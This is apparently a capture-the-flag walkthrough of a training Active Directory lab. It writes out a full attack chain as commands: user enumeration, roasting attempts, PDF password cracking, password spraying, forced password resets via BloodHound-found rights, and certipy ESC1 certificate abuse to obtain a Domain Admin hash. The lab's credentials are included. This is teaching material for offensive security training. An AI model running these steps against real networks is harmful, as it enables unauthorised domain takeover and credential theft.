HackSmarter Welcome Walkthrough

Scenario :

You are a member of the Hack Smarter Red Team. During a phishing engagement, you were able to retrieve credentials for the client’s Active Directory environment. Use these credentials to enumerate the environment, elevate your privileges, and demonstrate impact for the client.

Solution :

Before we start make sure to add the Domain and hostname to the /etc/hosts .

We first start with an nmap scan .

export target=10.1.240.197
nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN Open_Ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN Nmap_sV_sC_Results.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN Nmap_Vuln_Results.txt

From the first scan , we find port 88 and Ldap on 389 as well as DNS , this proves that this is the DC , since this is an AD machine i will be following this quick checklist :

Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

We already have these credentials to start with : e.hills:Il0vemyj0b2025!

Now fist thing i did was generate a list of usernames to test for ASREPROASTING , and Kerberoasting as well before moving to Shares enumeration .

nxc smb $target -u 'e.hills' -p 'Il0vemyj0b2025!' --rid-brute  | grep -i 'sidtypeuser' | awk '{print$6}' | cut -d '\' -f 2 | tee users.txt

impacket-GetNPUsers  WELCOME.LOCAL/ -dc-ip $target -usersfile users.txt -outputfile Hashes.txt

No users are ASREPROASTABLE , let’s try Kerberoasting :

nxc ldap  $target -u 'e.hills' -p 'Il0vemyj0b2025!' --kerberoast Hashessss

No users are kerberoastable as well , let’s check the Shares .

We see the Human Resource Share that we are able to read , let’s connect using smbclient and Download everything , to download all files at once :

recurse on 
prompt off
mget * 

Now upon opening all the documents , we find one that is password protected , the rest isn’t really that useful .

We can try using john to crack the password protecting the PDF with a wordlist like rockyou and hope for the best .

We do manage to crack it . Now upon opening the file we find the temporary default password :

Now we can try spraying this password with the user list we gethered earlier , maybe a user still has the default one .

Perfect now we’ve got a new user . From here i decided to use BloodHound to speed things up , see what permissions our user has inside the domain , trying to map the fastest way to domain Admin . here are the commands to setup Bloodhound as well as the ingestor .

# To get the ZIP file :
nxc ldap $target -u 'e.hills' -p 'Il0vemyj0b2025!' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

Now just add the new user to Owned Objects . from the OutBound connection , we see that we have Generic All over I.Park since we are members of the Human Resource group .

From BloodHound we see that we can abuse it from Linux using net rpc to Force the changing of the user’s password .

net rpc password "I.PARK" "Password123@" -U 'WELCOME.local\a.harris%Welcome2025!@'  -S "DC01.WELCOME.local"

==> Use '' instead of "" so that the @ ! , don't break the syntax . 

Perfect now let’s see if this user has any privileges .

We see that we have Force Change password on both users , we will first start with the SVC_CA as the CA always has more privileges , once again we can use the net rpc command on Kali to do so.

net rpc password "I.PARK" "Password123@" -U 'WELCOME.local\a.harris%Welcome2025!@'  -S "DC01.WELCOME.local"

net rpc password "SVC_CA" "Weak123@" -U "WELCOME.local\I.PARK%Password123@" -S "DC01.WELCOME.local"

Since this is a CA service account , let’s check certipy to see if we can abuse any of the templates .

certipy-ad find -u 'SVC_CA' -p 'Weak123@' -dc-ip $target -stdout -vulnerable

Perfect to abuse ESC1 , i decided to follow this guide from certipy wiki .

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation

What we will need is the SID of the domain administrator

certipy-ad  account -u 'SVC_CA' -p 'Weak123@' -dc-ip 10.1.240.197 -user 'administrator' read

From the Guide : 
certipy req \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
    -ca 'CORP-CA' -template 'VulnTemplate' \
    -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

For our case : 
certipy-ad req \
    -u 'SVC_CA@Welcome.local' -p 'Weak123@' \   
    -dc-ip $target -target 'DC01.WELCOME.local' \
    -ca 'WELCOME-CA' -template 'Welcome-Template' \
    -upn 'administrator@welcome.local' -sid 'S-1-5-21-141921413-1529318470-1830575104-500'

All information can be found in the certipy output from earlier (eg: CA name , template name , ….)

Now finally we use the newly created pfx cert to authenticate as the administrator :

certipy auth -pfx 'administrator.pfx' -dc-ip $target

Perfect , we get the Domain Admin Hash that way , we can login and get our flags , perform DCSync …

That was it for this lab , see you in the next one :)